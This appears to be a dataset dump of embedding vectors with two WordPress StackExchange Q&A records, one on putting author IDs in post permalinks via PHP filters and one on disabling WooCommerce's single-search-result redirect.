-0.00878143310546875,
-0.01131439208984375,
-0.0170135498046875,
-0.0225830078125,
0.007343292236328125,
0.017822265625,
-0.048614501953125,
-0.0092010498046875,
0.026885986328125,
-0.015777587890625,
0.0279388427734375,
-0.016632080078125,
0.03375244140625,
0.0033245086669921875,
0.047454833984375,
0.02716064453125,
-0.04449462890625,
0.01349639892578125,
-0.030517578125,
0.058349609375,
-0.0084075927734375,
0.0083160400390625,
-0.0200653076171875,
0.032379150390625,
-0.0126800537109375,
-0.060943603515625,
-0.032196044921875,
-0.0845947265625,
0.00533294677734375,
0.0124053955078125,
-0.03228759765625,
-0.037017822265625,
-0.001148223876953125,
0.0191802978515625,
0.0163116455078125,
0.00037789344787597656,
-0.07110595703125,
0.0511474609375,
-0.032073974609375,
0.02496337890625,
-0.02081298828125,
-0.01146697998046875,
0.0251922607421875,
0.06134033203125,
-0.0322265625,
-0.024017333984375,
-0.0031681060791015625,
-0.0033168792724609375,
-0.0245361328125,
0.02044677734375,
0.0177154541015625,
-0.0221405029296875,
-0.023162841796875,
0.0697021484375,
0.00786590576171875,
0.1094970703125,
-0.012847900390625,
-0.00916290283203125,
0.058837890625,
-0.00719451904296875,
-0.043670654296875,
-0.07440185546875,
0.005962371826171875,
-0.04840087890625,
0.005901336669921875,
-0.08111572265625,
0.0108642578125,
-0.01332855224609375,
-0.053375244140625,
-0.0247650146484375,
0.03936767578125,
-0.0080413818359375,
-0.01373291015625,
-0.086669921875,
0.034423828125,
0.0128631591796875,
0.018585205078125,
-0.0189361572265625,
-0.018157958984375,
-0.041656494140625,
0.0267486572265625,
0.0177154541015625,
0.0202178955078125,
0.0253143310546875,
-0.002574920654296875,
-0.0240631103515625,
0.0105133056640625,
0.0226287841796875,
0.0235748291015625,
0.0129241943359375,
-0.027374267578125,
0.0384521484375,
0.036865234375,
-0.0310821533203125,
-0.0005745887756347656,
-0.0020236968994140625,
-0.00035762786865234375,
-0.0174407958984375,
-0.078857421875,
0.032958984375,
0.0083770751953125,
0.044158935546875,
-0.022796630859375,
-0.01116943359375,
-0.038909912109375,
-0.01346588134765625,
-0.0247955322265625,
-0.0233154296875,
-0.022186279296875,
0.025787353515625,
-0.09112548828125,
-0.0244903564453125,
0.038299560546875,
-0.0257568359375,
0.0254974365234375,
-0.0155029296875,
-0.0258331298828125,
0.00713348388671875,
-0.006961822509765625,
-0.01343536376953125,
-0.02081298828125,
-0.041046142578125,
0.088623046875,
-0.049652099609375,
-0.032135009765625,
0.045867919921875,
0.025177001953125,
0.01483917236328125,
0.035552978515625,
0.0469970703125,
0.034423828125,
-0.03485107421875,
0.0013513565063476562,
0.033172607421875,
0.0185089111328125,
-0.0000019669532775878906,
-0.044403076171875,
0.0006670951843261719,
0.005908966064453125,
-0.019683837890625,
0.01580810546875,
0.034576416015625,
0.010650634765625,
-0.024993896484375,
0.033416748046875,
-0.01163482666015625,
0.0135650634765625,
-0.0162811279296875,
0.0188751220703125,
-0.0224456787109375,
0.01497650146484375,
-0.0083770751953125,
-0.0005125999450683594,
0.008453369140625,
0.00861358642578125,
-0.0090179443359375,
-0.03790283203125,
0.023101806640625,
-0.0268096923828125,
-0.0003566741943359375,
0.01983642578125
] |
828ff7b79dd8c9ca7c24d8251603e10512ae57c4
|
Wordpress Stackexchange
Q: How to use author id in post permalink Currently, Wordpress supports author name in the post permalink by using %author%.
Is it possible to add the author id to the permalink?
For example, changing this:
http://www.site.com/john/my-first-post
to this:
http://www.site.com/1/my-first-post
Where '1' is the id of the author 'john'.
A: You can do this with a couple of filters:
<?php
function wpse_112719_pre_post_link( $permalink, $post, $leavename ) {
if ( strpos( $permalink, '%author%' ) !== false ) {
$authordata = get_userdata( $post->post_author );
$author_id = $authordata->ID;
$permalink = str_replace( '%author%', $author_id, $permalink );
}
return $permalink;
}
add_filter( 'pre_post_link', 'wpse_112719_pre_post_link', 10, 3 );
function wpse_112730_add_rewrite_rules() {
add_rewrite_rule(
"([0-9]+)/(.*)",
'index.php?name=$matches[2]',
'top'
);
}
add_action( 'init', 'wpse_112730_add_rewrite_rules' );
Now, go to Settings → Permalinks and set your permalinks settings to /%author%/%postname%/. Save your changes, and your links should be working accordingly. Let me know if you have any issues!
|
Q: How to use author id in post permalink Currently, Wordpress supports author name in the post permalink by using %author%.
Is it possible to add the author id to the permalink?
For example, changing this:
http://www.site.com/john/my-first-post
to this:
http://www.site.com/1/my-first-post
Where '1' is the id of the author 'john'.
A: You can do this with a couple of filters:
<?php
function wpse_112719_pre_post_link( $permalink, $post, $leavename ) {
if ( strpos( $permalink, '%author%' ) !== false ) {
$authordata = get_userdata( $post->post_author );
$author_id = $authordata->ID;
$permalink = str_replace( '%author%', $author_id, $permalink );
}
return $permalink;
}
add_filter( 'pre_post_link', 'wpse_112719_pre_post_link', 10, 3 );
function wpse_112730_add_rewrite_rules() {
add_rewrite_rule(
"([0-9]+)/(.*)",
'index.php?name=$matches[2]',
'top'
);
}
add_action( 'init', 'wpse_112730_add_rewrite_rules' );
Now, go to Settings → Permalinks and set your permalinks settings to /%author%/%postname%/. Save your changes, and your links should be working accordingly. Let me know if you have any issues!
|
wordpress
|
{
"language": "en",
"length": 146,
"provenance": "stackexchange_00019.jsonl.gz:436621",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112719"
}
|
[
0.0552978515625,
0.005916595458984375,
0.013397216796875,
0.006519317626953125,
-0.007465362548828125,
-0.0254974365234375,
0.02691650390625,
-0.051422119140625,
-0.0196075439453125,
0.017303466796875,
-0.020294189453125,
0.018035888671875,
0.0024242401123046875,
-0.0216217041015625,
0.0193328857421875,
-0.00615692138671875,
0.0147552490234375,
-0.003948211669921875,
0.00925445556640625,
-0.01666259765625,
0.00666046142578125,
-0.01174163818359375,
0.040313720703125,
0.0238800048828125,
0.03936767578125,
-0.04168701171875,
0.07891845703125,
-0.03326416015625,
0.037841796875,
-0.0198974609375,
0.0318603515625,
-0.026519775390625,
0.000005662441253662109,
0.004322052001953125,
0.032562255859375,
0.041595458984375,
-0.007904052734375,
0.0179443359375,
0.035247802734375,
0.008148193359375,
0.026580810546875,
-0.01544189453125,
-0.03680419921875,
0.032379150390625,
-0.0311431884765625,
-0.035491943359375,
0.0178070068359375,
-0.03387451171875,
0.009124755859375,
0.0018949508666992188,
0.006572723388671875,
0.04266357421875,
0.01422119140625,
-0.005168914794921875,
-0.00881195068359375,
-0.00702667236328125,
0.047882080078125,
-0.044921875,
0.0296783447265625,
-0.046600341796875,
-0.0382080078125,
-0.004741668701171875,
0.0408935546875,
0.0115203857421875,
0.0135498046875,
0.0027828216552734375,
0.0288238525390625,
0.0237274169921875,
0.020416259765625,
0.0176239013671875,
-0.0157012939453125,
-0.01477813720703125,
-0.0092315673828125,
-0.01337432861328125,
-0.0264129638671875,
-0.036041259765625,
0.0209808349609375,
-0.04815673828125,
-0.0078582763671875,
0.0212860107421875,
0.015716552734375,
-0.01430511474609375,
0.01474761962890625,
-0.0382080078125,
0.03875732421875,
0.004566192626953125,
-0.004322052001953125,
-0.011199951171875,
-0.07366943359375,
-0.02398681640625,
-0.04180908203125,
-0.0443115234375,
-0.05072021484375,
-0.0005993843078613281,
-0.00762176513671875,
0.0008001327514648438,
0.046630859375,
0.0709228515625,
0.0038356781005859375,
0.0009632110595703125,
0.0189361572265625,
-0.05291748046875,
0.039764404296875,
-0.049896240234375,
-0.0117645263671875,
0.049652099609375,
0.06317138671875,
0.062103271484375,
0.0122222900390625,
-0.0146942138671875,
-0.00838470458984375,
0.01303863525390625,
0.01311492919921875,
0.001476287841796875,
-0.041412353515625,
-0.003429412841796875,
-0.0404052734375,
-0.0026340484619140625,
-0.00927734375,
-0.0092010498046875,
-0.003520965576171875,
0.0089874267578125,
-0.0032482147216796875,
-0.003711700439453125,
0.006305694580078125,
-0.0029125213623046875,
-0.0021305084228515625,
-0.01297760009765625,
-0.005157470703125,
0.0213623046875,
-0.0279693603515625,
0.025604248046875,
0.057281494140625,
0.00994110107421875,
-0.002590179443359375,
-0.02166748046875,
0.04791259765625,
-0.030120849609375,
0.00031185150146484375,
0.004863739013671875,
0.0022144317626953125,
-0.0158233642578125,
-0.00919342041015625,
-0.0057220458984375,
0.0033168792724609375,
0.0305633544921875,
0.00962066650390625,
0.0236358642578125,
0.006053924560546875,
-0.0411376953125,
0.0092010498046875,
-0.04559326171875,
0.033905029296875,
-0.0140228271484375,
0.0228729248046875,
-0.024932861328125,
0.016754150390625,
-0.021331787109375,
-0.0155487060546875,
-0.010101318359375,
0.0213623046875,
0.01270294189453125,
0.0282440185546875,
-0.0142974853515625,
-0.04071044921875,
-0.0225677490234375,
-0.044586181640625,
-0.0100860595703125,
0.00928497314453125,
0.030029296875,
-0.0023345947265625,
0.01580810546875,
-0.0169830322265625,
0.00424957275390625,
-0.00311279296875,
-0.01033782958984375,
-0.010650634765625,
0.0203399658203125,
-0.0214691162109375,
0.09002685546875,
0.03466796875,
-0.021392822265625,
0.0002357959747314453,
0.0112762451171875,
-0.03472900390625,
0.0484619140625,
0.0203094482421875,
0.1075439453125,
-0.020416259765625,
0.0233917236328125,
-0.000179290771484375,
0.015655517578125,
-0.043060302734375,
-0.0189208984375,
0.0035533905029296875,
-0.0303802490234375,
-0.005290985107421875,
-0.0380859375,
0.00632476806640625,
0.0594482421875,
-0.01351165771484375,
-0.0196990966796875,
0.03704833984375,
0.0273590087890625,
-0.034759521484375,
0.0400390625,
-0.036163330078125,
0.0203857421875,
0.0469970703125,
0.005390167236328125,
0.01280975341796875,
0.0141448974609375,
-0.01204681396484375,
-0.0655517578125,
-0.062042236328125,
0.0675048828125,
-0.00007224082946777344,
-0.00007140636444091797,
-0.01708984375,
0.01151275634765625,
0.01184844970703125,
-0.0439453125,
0.00481414794921875,
0.045074462890625,
0.03424072265625,
-0.0254058837890625,
-0.0242767333984375,
-0.04791259765625,
-0.030975341796875,
-0.0106353759765625,
-0.06640625,
0.07342529296875,
0.038360595703125,
0.0141754150390625,
-0.0233001708984375,
0.01096343994140625,
-0.0027294158935546875,
-0.0291748046875,
-0.0140228271484375,
0.038360595703125,
0.031982421875,
0.001285552978515625,
-0.009765625,
-0.0159149169921875,
0.0283660888671875,
0.019256591796875,
0.03729248046875,
-0.0350341796875,
0.0100555419921875,
0.050018310546875,
-0.0226287841796875,
0.006183624267578125,
0.028656005859375,
-0.07232666015625,
0.005695343017578125,
0.06011962890625,
-0.018310546875,
0.015838623046875,
-0.0186004638671875,
0.008514404296875,
-0.006847381591796875,
-0.039642333984375,
-0.00033402442932128906,
-0.045806884765625,
0.0068206787109375,
0.010772705078125,
0.0096893310546875,
0.00655364990234375,
-0.055389404296875,
0.00933074951171875,
0.0285186767578125,
0.024383544921875,
-0.0001691579818725586,
0.0297698974609375,
0.0255279541015625,
-0.0234375,
-0.0210418701171875,
0.0106964111328125,
-0.006023406982421875,
0.004405975341796875,
-0.01403045654296875,
-0.022369384765625,
0.017578125,
-0.004535675048828125,
-0.0024871826171875,
-0.05853271484375,
0.0380859375,
0.007083892822265625,
0.0023555755615234375,
-0.0236053466796875,
0.0265960693359375,
0.007259368896484375,
-0.0192718505859375,
0.0219268798828125,
0.0083160400390625,
-0.033477783203125,
0.0245513916015625,
-0.05120849609375,
0.06097412109375,
-0.043731689453125,
0.0243682861328125,
0.057891845703125,
-0.004665374755859375,
0.01084136962890625,
-0.0009436607360839844,
-0.034027099609375,
-0.01471710205078125,
0.02569580078125,
-0.0041046142578125,
-0.04315185546875,
-0.01393890380859375,
0.00482940673828125,
0.0155181884765625,
0.05718994140625,
-0.01366424560546875,
-0.02984619140625,
-0.01480865478515625,
0.0293731689453125,
-0.061767578125,
-0.06304931640625,
-0.002094268798828125,
-0.06817626953125,
-0.01448822021484375,
0.00818634033203125,
-0.04193115234375,
-0.005889892578125,
0.033477783203125,
-0.00641632080078125,
0.02276611328125,
-0.04364013671875,
-0.07366943359375,
-0.0438232421875,
-0.060394287109375,
-0.0029163360595703125,
-0.0162353515625,
-0.01297760009765625,
0.00882720947265625,
-0.023223876953125,
-0.00247955322265625,
-0.0189361572265625,
0.0007505416870117188,
0.02691650390625,
0.0032367706298828125,
-0.03717041015625,
-0.019744873046875,
0.0269927978515625,
-0.00630950927734375,
0.00545501708984375,
0.046295166015625,
0.041656494140625,
-0.034149169921875,
0.0025348663330078125,
-0.01100921630859375,
0.00995635986328125,
0.0237884521484375,
0.036041259765625,
0.0168914794921875,
0.006359100341796875,
0.041595458984375,
-0.032257080078125,
-0.01190185546875,
-0.020294189453125,
-0.03912353515625,
-0.0311279296875,
-0.0027313232421875,
0.00733184814453125,
-0.01309967041015625,
-0.0013532638549804688,
0.028076171875,
0.035919189453125,
0.0129547119140625,
-0.007305145263671875,
0.0255584716796875,
0.0142669677734375,
0.035919189453125,
-0.0279388427734375,
0.008209228515625,
-0.031280517578125,
-0.004283905029296875,
-0.01226806640625,
-0.031646728515625,
-0.0254669189453125,
-0.024017333984375,
-0.042724609375,
-0.057769775390625,
0.045440673828125,
-0.049591064453125,
-0.020660400390625,
-0.0341796875,
-0.0215301513671875,
-0.00960540771484375,
0.058563232421875,
0.01922607421875,
-0.0219573974609375,
0.01226806640625,
0.0115966796875,
-0.03851318359375,
-0.027252197265625,
-0.03131103515625,
-0.00875091552734375,
-0.0133819580078125,
0.0017852783203125,
-0.004726409912109375,
-0.01299285888671875,
-0.014251708984375,
0.023590087890625,
0.0258026123046875,
-0.0171661376953125,
0.0188140869140625,
-0.01517486572265625,
-0.0161590576171875,
0.04022216796875,
-0.04669189453125,
0.039764404296875,
-0.04559326171875,
-0.01029205322265625,
-0.09857177734375,
-0.019775390625,
-0.0010433197021484375,
0.08209228515625,
-0.0212554931640625,
-0.01200103759765625,
-0.040618896484375,
0.04913330078125,
-0.0011968612670898438,
0.01230621337890625,
0.01181793212890625,
0.01251220703125,
-0.0124664306640625,
0.0116119384765625,
0.0051422119140625,
-0.01456451416015625,
0.021759033203125,
0.016693115234375,
-0.0423583984375,
0.0270233154296875,
-0.03118896484375,
0.0249481201171875,
0.0157470703125,
-0.043670654296875,
-0.07000732421875,
-0.042572021484375,
-0.01474761962890625,
0.05487060546875,
-0.01519775390625,
0.00759124755859375,
-0.08465576171875,
-0.10089111328125,
0.05072021484375,
-0.047119140625,
0.006916046142578125,
-0.0005831718444824219,
0.09161376953125,
0.00859832763671875,
-0.01247406005859375,
0.02789306640625,
-0.011016845703125,
0.01479339599609375,
-0.0236358642578125,
0.03173828125,
0.0054168701171875,
-0.01099395751953125,
0.0266571044921875,
-0.03271484375,
-0.0489501953125,
-0.0099945068359375,
0.0304412841796875,
-0.01157379150390625,
-0.03900146484375,
0.02008056640625,
-0.053558349609375,
0.084716796875,
-0.01160430908203125,
-0.0228271484375,
0.01300811767578125,
0.00799560546875,
0.0255279541015625,
-0.0213775634765625,
0.04119873046875,
-0.0191497802734375,
-0.0287933349609375,
-0.0010089874267578125,
-0.0165557861328125,
0.0567626953125,
0.0347900390625,
-0.00653076171875,
0.01052093505859375,
-0.0018444061279296875,
-0.0142059326171875,
0.0020809173583984375,
-0.042816162109375,
0.02886962890625,
0.01314544677734375,
-0.01042938232421875,
-0.00905609130859375,
0.00018072128295898438,
-0.017425537109375,
0.0919189453125,
0.030548095703125,
-0.018585205078125,
0.033416748046875,
-0.037384033203125,
0.009307861328125,
-0.006954193115234375,
0.005950927734375,
0.040008544921875,
0.0295867919921875,
-0.0277557373046875,
-0.006175994873046875,
-0.005329132080078125,
0.004291534423828125,
-0.049163818359375,
0.0316162109375,
0.00362396240234375,
0.011627197265625,
-0.004665374755859375,
0.08111572265625,
0.04058837890625,
0.0169525146484375,
-0.037078857421875,
0.038604736328125,
0.05108642578125,
0.0197296142578125,
0.02606201171875,
-0.0165252685546875,
0.005268096923828125,
-0.0056610107421875,
0.0036487579345703125,
-0.049468994140625,
0.0192718505859375,
0.0462646484375,
0.0615234375,
0.008209228515625,
-0.031707763671875,
-0.01000213623046875,
-0.039306640625,
-0.00826263427734375,
-0.00731658935546875,
-0.0091400146484375,
-0.040924072265625,
0.0077056884765625,
0.028167724609375,
-0.0268402099609375,
-0.027923583984375,
0.0089263916015625,
-0.0128936767578125,
-0.01505279541015625,
0.0228729248046875,
-0.01232147216796875,
0.037628173828125,
-0.0258941650390625,
-0.025604248046875,
0.037445068359375,
-0.0296630859375,
-0.0014638900756835938,
-0.006710052490234375,
0.02972412109375,
-0.054046630859375,
0.00460052490234375,
0.08575439453125,
-0.0009136199951171875,
0.0521240234375,
-0.03106689453125,
-0.01543426513671875,
0.041778564453125,
-0.01166534423828125,
0.04638671875,
0.0157623291015625,
-0.068603515625,
0.02490234375,
-0.021240234375,
0.0247039794921875,
0.040618896484375,
0.008392333984375,
-0.036346435546875,
-0.032867431640625,
-0.0079498291015625,
0.018157958984375,
-0.0138092041015625,
0.0200347900390625,
-0.003368377685546875,
0.0330810546875,
-0.0125885009765625,
0.037567138671875,
-0.0205078125,
0.103515625,
-0.021270751953125,
0.0264892578125,
0.01512908935546875,
0.0601806640625,
-0.0201263427734375,
-0.00872802734375,
-0.017578125,
-0.041900634765625,
-0.0156707763671875,
0.0182647705078125,
-0.03997802734375,
0.03961181640625,
0.054931640625,
0.0080108642578125,
0.0206146240234375,
0.00777435302734375,
0.016021728515625,
-0.0106353759765625,
-0.05255126953125,
-0.0074615478515625,
-0.01502227783203125,
0.0172119140625,
0.00847625732421875,
0.041900634765625,
-0.044830322265625,
-0.004970550537109375,
-0.0149688720703125,
-0.0007834434509277344,
-0.019775390625,
0.0162506103515625,
-0.035797119140625,
0.0394287109375,
0.07574462890625,
0.0291290283203125,
0.056671142578125,
0.03875732421875,
0.0294189453125,
0.024688720703125,
0.0008940696716308594,
-0.007587432861328125,
0.0163116455078125,
0.0263214111328125,
0.006893157958984375,
0.033538818359375,
0.04083251953125,
0.00496673583984375,
-0.022247314453125,
-0.00173187255859375,
0.00553131103515625,
-0.0215301513671875,
-0.0107269287109375,
-0.01313018798828125,
-0.0024280548095703125,
0.0301666259765625,
-0.0007996559143066406,
-0.0147247314453125,
0.0196380615234375,
0.07891845703125,
-0.0197906494140625,
0.01251220703125,
0.056671142578125,
0.0163421630859375,
0.018646240234375,
-0.047607421875,
0.0138092041015625,
-0.006443023681640625,
-0.0288543701171875,
0.0082855224609375,
0.0267486572265625,
-0.007476806640625,
-0.0220947265625,
-0.0004475116729736328,
-0.005695343017578125,
0.022674560546875,
0.00823211669921875,
0.05926513671875,
-0.058837890625,
0.04803466796875,
0.03179931640625,
0.0057220458984375,
0.02435302734375,
0.027069091796875,
0.00893402099609375,
-0.00569915771484375,
-0.007236480712890625,
0.011627197265625,
0.0137939453125,
-0.05194091796875,
-0.006542205810546875,
0.044708251953125,
-0.027587890625,
0.03192138671875,
0.01419830322265625,
-0.03741455078125,
-0.002964019775390625,
-0.00536346435546875,
0.0814208984375,
-0.06561279296875,
-0.001956939697265625,
0.01285552978515625,
0.0205535888671875,
-0.0006122589111328125,
0.0258941650390625,
-0.022705078125,
-0.0242156982421875,
-0.03466796875,
0.002574920654296875,
-0.0775146484375,
0.036224365234375,
-0.00992584228515625,
-0.06097412109375,
0.0782470703125,
0.0074920654296875,
0.0283203125,
0.005279541015625,
0.036865234375,
-0.0025959014892578125,
0.015380859375,
-0.03594970703125,
0.058807373046875,
0.004604339599609375,
0.038421630859375,
-0.054718017578125,
-0.0306243896484375,
0.0107574462890625,
0.0657958984375,
0.0860595703125,
0.016021728515625,
-0.0312042236328125,
0.01291656494140625,
0.041595458984375,
-0.011688232421875,
-0.046295166015625,
0.0526123046875,
-0.004795074462890625,
0.0009512901306152344,
0.0183258056640625,
-0.00432586669921875,
0.0305938720703125,
-0.0214385986328125,
-0.03326416015625,
0.01139068603515625,
0.02423095703125,
0.03607177734375,
-0.0009055137634277344,
-0.01080322265625,
-0.0294189453125,
-0.007457733154296875,
0.034912109375,
-0.01297760009765625,
0.005889892578125,
0.03857421875,
0.04156494140625,
-0.0377197265625,
-0.03594970703125,
-0.0274200439453125,
0.04937744140625,
0.0233306884765625,
0.0270843505859375,
0.0308837890625,
0.012237548828125,
0.03021240234375,
0.021270751953125,
0.0265350341796875,
0.0227203369140625,
0.00336456298828125,
0.051239013671875,
0.00988006591796875,
0.0204620361328125,
-0.0528564453125,
-0.003025054931640625,
0.0249176025390625,
0.06451416015625,
-0.04290771484375,
-0.00321197509765625,
0.01447296142578125,
0.0005955696105957031,
-0.0119476318359375,
-0.034149169921875,
-0.01483917236328125,
0.002223968505859375,
-0.00457000732421875,
-0.040283203125,
-0.0035037994384765625,
0.030792236328125,
0.035308837890625,
0.0080413818359375,
0.01551055908203125,
-0.056915283203125,
-0.01061248779296875,
-0.046722412109375,
-0.017547607421875,
0.01557159423828125,
0.06292724609375,
0.046905517578125,
0.020599365234375,
0.03082275390625,
-0.02374267578125,
-0.00800323486328125,
0.039794921875,
0.00676727294921875,
0.018768310546875,
-0.04266357421875,
-0.02374267578125,
0.0059051513671875,
0.036468505859375,
0.01220703125,
0.039154052734375,
0.0007987022399902344,
-0.014373779296875,
0.00555419921875,
-0.003040313720703125,
0.006305694580078125,
-0.042938232421875,
0.051055908203125,
-0.03179931640625,
0.03155517578125,
-0.020233154296875,
-0.017425537109375,
-0.03173828125,
0.03411865234375,
-0.003726959228515625,
-0.019775390625,
0.0023651123046875,
0.0038604736328125,
-0.043212890625,
0.02685546875,
0.01456451416015625,
0.036376953125,
0.01220703125,
-0.04486083984375,
0.00283050537109375,
-0.0033664703369140625,
-0.082763671875,
0.00742340087890625,
0.0364990234375,
-0.03594970703125,
0.0159912109375,
-0.019287109375,
0.00881195068359375,
0.003719329833984375,
-0.0091552734375,
-0.0068817138671875,
0.05047607421875,
0.03155517578125,
0.01074981689453125,
-0.041107177734375,
-0.0243988037109375,
-0.00439453125,
0.021331787109375,
0.014007568359375,
0.056915283203125,
-0.01508331298828125,
-0.0013456344604492188,
-0.04254150390625,
0.036590576171875,
-0.0755615234375,
-0.040252685546875,
0.0748291015625,
-0.04168701171875,
-0.0428466796875,
0.0128326416015625,
-0.0653076171875,
0.04803466796875,
0.0101165771484375,
0.020538330078125,
0.06280517578125,
-0.0258941650390625,
0.0028591156005859375,
-0.0185089111328125,
0.032135009765625,
-0.040740966796875,
-0.060089111328125,
-0.0606689453125,
-0.011962890625,
0.0166473388671875,
-0.0108642578125,
-0.024658203125,
0.050384521484375,
0.0275115966796875,
-0.0018415451049804688,
0.005950927734375,
-0.022613525390625,
-0.0017423629760742188,
0.0233917236328125,
0.02679443359375,
-0.058258056640625,
0.02252197265625,
-0.004241943359375,
-0.022796630859375,
0.0199737548828125,
0.029876708984375,
0.0296173095703125,
-0.06707763671875,
0.01448822021484375,
-0.00443267822265625,
0.03851318359375,
-0.0126190185546875,
0.00833892822265625,
-0.0174713134765625,
0.0159454345703125,
-0.01357269287109375,
0.01264190673828125,
-0.037139892578125,
-0.0159454345703125,
0.005756378173828125,
0.01496124267578125,
0.006046295166015625,
-0.0109100341796875,
-0.050140380859375,
0.007305145263671875,
0.02056884765625,
-0.0144195556640625,
-0.0276641845703125,
0.013763427734375,
-0.03460693359375,
0.041259765625,
-0.0377197265625,
-0.022979736328125,
0.0033855438232421875,
0.0291595458984375,
-0.048797607421875,
-0.0214996337890625,
-0.05218505859375,
-0.019683837890625,
-0.06378173828125,
0.006237030029296875,
0.0217132568359375,
-0.006282806396484375,
-0.004970550537109375,
0.03045654296875,
-0.00466156005859375,
0.0858154296875,
-0.033050537109375,
-0.0238494873046875,
0.0124664306640625,
0.01181793212890625,
-0.027740478515625,
-0.107177734375,
0.007472991943359375,
-0.10028076171875,
0.01082611083984375,
-0.041717529296875,
0.0340576171875,
0.0182037353515625,
-0.0112457275390625,
-0.023773193359375,
0.04345703125,
-0.00972747802734375,
-0.015350341796875,
-0.047760009765625,
-0.01934814453125,
-0.02545166015625,
0.04205322265625,
0.01160430908203125,
-0.04962158203125,
-0.022705078125,
0.0474853515625,
-0.0178680419921875,
0.0557861328125,
-0.01678466796875,
-0.0004374980926513672,
0.01043701171875,
0.00405120849609375,
0.0118560791015625,
-0.038177490234375,
0.05810546875,
-0.0182342529296875,
0.03955078125,
0.054656982421875,
-0.034637451171875,
0.0231170654296875,
-0.047210693359375,
-0.0235748291015625,
-0.0242462158203125,
-0.04974365234375,
-0.01654052734375,
-0.0091705322265625,
0.055755615234375,
0.0302581787109375,
0.0137939453125,
-0.040283203125,
-0.0016374588012695312,
-0.0199127197265625,
-0.031097412109375,
-0.0011491775512695312,
0.012237548828125,
-0.0289154052734375,
0.00011605024337768555,
-0.01168060302734375,
0.0009298324584960938,
0.02606201171875,
-0.023834228515625,
-0.011749267578125,
-0.007537841796875,
-0.01044464111328125,
-0.0186767578125,
-0.0085601806640625,
0.01519775390625,
0.045135498046875,
-0.04486083984375,
-0.01474761962890625,
0.0081939697265625,
0.0021877288818359375,
-0.004405975341796875,
-0.01207733154296875,
-0.00949859619140625,
0.01690673828125,
0.00775146484375,
0.00534820556640625,
0.0253448486328125,
0.020416259765625,
0.005462646484375,
0.0045318603515625,
-0.0263671875,
0.03631591796875,
0.0101318359375,
0.0281219482421875,
-0.00307464599609375,
0.027923583984375,
0.005859375,
0.0703125,
-0.03057861328125,
-0.03204345703125,
-0.011749267578125,
0.01531982421875,
-0.034942626953125,
0.0240631103515625,
0.005275726318359375,
-0.01357269287109375,
0.00557708740234375,
0.0195465087890625,
0.0014705657958984375,
-0.019195556640625,
0.018768310546875,
-0.0121002197265625,
0.005413055419921875,
0.0103302001953125
] |
25a55638b74a6ac81fc9d731d39b84664205602b
|
Wordpress Stackexchange
Q: Disable Redirect to Product Page on Search Results Page in WooCommerce In WooCommerce if you search for a product and there is only one search result then WooCommerce will redirect you directly to the product page. If I want to add some fancy styling to the search results page is there a way I can disable this default functionality?
A: Yes, this is totally possible. WooCommerce includes a handy filter that you can manipulate to disable that redirect so the user will continue onto the search results page as per normal.
If you add this line of code to your functions.php file it will disable the redirect functionality.
add_filter( 'woocommerce_redirect_single_search_result', '__return_false' );
Permalink to gist: https://gist.github.com/BFTrick/6429700
|
Q: Disable Redirect to Product Page on Search Results Page in WooCommerce In WooCommerce if you search for a product and there is only one search result then WooCommerce will redirect you directly to the product page. If I want to add some fancy styling to the search results page is there a way I can disable this default functionality?
A: Yes, this is totally possible. WooCommerce includes a handy filter that you can manipulate to disable that redirect so the user will continue onto the search results page as per normal.
If you add this line of code to your functions.php file it will disable the redirect functionality.
add_filter( 'woocommerce_redirect_single_search_result', '__return_false' );
Permalink to gist: https://gist.github.com/BFTrick/6429700
|
wordpress
|
{
"language": "en",
"length": 117,
"provenance": "stackexchange_00019.jsonl.gz:436645",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112779"
}
|
[
0.06976318359375,
-0.0272216796875,
0.0283355712890625,
-0.0268707275390625,
-0.010009765625,
-0.0238189697265625,
0.04876708984375,
-0.0159149169921875,
0.0245819091796875,
0.022735595703125,
-0.00414276123046875,
-0.031402587890625,
-0.0034503936767578125,
-0.034271240234375,
-0.01348114013671875,
-0.0166015625,
0.0216064453125,
0.00272369384765625,
0.018524169921875,
-0.00930023193359375,
0.00098419189453125,
0.0037384033203125,
0.01059722900390625,
0.004390716552734375,
0.00539398193359375,
-0.029205322265625,
0.11785888671875,
-0.03790283203125,
0.027587890625,
-0.033477783203125,
0.0179595947265625,
-0.014556884765625,
0.0259246826171875,
0.005542755126953125,
-0.0199127197265625,
0.0014696121215820312,
0.02020263671875,
0.01230621337890625,
0.00493621826171875,
0.006740570068359375,
0.048095703125,
-0.034271240234375,
-0.058319091796875,
0.01425933837890625,
-0.0312347412109375,
-0.04052734375,
0.042449951171875,
-0.03033447265625,
0.0299835205078125,
0.004268646240234375,
-0.01297760009765625,
0.04974365234375,
0.00194549560546875,
-0.039459228515625,
-0.03240966796875,
-0.0222320556640625,
-0.047882080078125,
0.0031337738037109375,
0.00676727294921875,
0.01035308837890625,
0.03619384765625,
0.004772186279296875,
-0.005374908447265625,
0.01328277587890625,
0.0027446746826171875,
0.0033092498779296875,
-0.04010009765625,
0.0293731689453125,
-0.07281494140625,
0.00514984130859375,
0.047821044921875,
-0.05731201171875,
0.017181396484375,
0.02520751953125,
-0.0245513916015625,
-0.06329345703125,
0.03741455078125,
-0.0138702392578125,
0.019073486328125,
0.0203857421875,
-0.01593017578125,
-0.025115966796875,
-0.0006413459777832031,
-0.062042236328125,
0.0255279541015625,
-0.039794921875,
-0.00945281982421875,
0.0179443359375,
-0.0157623291015625,
-0.034637451171875,
-0.0225372314453125,
0.0119476318359375,
-0.03143310546875,
-0.0085601806640625,
-0.045745849609375,
-0.01275634765625,
0.0239105224609375,
0.00786590576171875,
0.0271148681640625,
0.017425537109375,
0.006885528564453125,
-0.067626953125,
0.0258941650390625,
-0.0306854248046875,
-0.0029201507568359375,
0.0063629150390625,
0.0209503173828125,
0.0025634765625,
0.0197296142578125,
0.0141754150390625,
-0.0145263671875,
0.0138092041015625,
-0.033233642578125,
-0.044525146484375,
-0.003490447998046875,
0.0528564453125,
-0.042083740234375,
0.018096923828125,
0.006275177001953125,
0.025482177734375,
0.0084075927734375,
0.039093017578125,
0.057952880859375,
-0.036529541015625,
-0.01995849609375,
-0.017547607421875,
-0.019073486328125,
-0.07342529296875,
0.0281829833984375,
-0.0323486328125,
-0.0255889892578125,
0.0029277801513671875,
0.02630615234375,
0.071044921875,
0.036712646484375,
0.021881103515625,
0.0438232421875,
0.02960205078125,
0.006961822509765625,
-0.0015287399291992188,
0.0323486328125,
-0.0178070068359375,
-0.037506103515625,
0.0156707763671875,
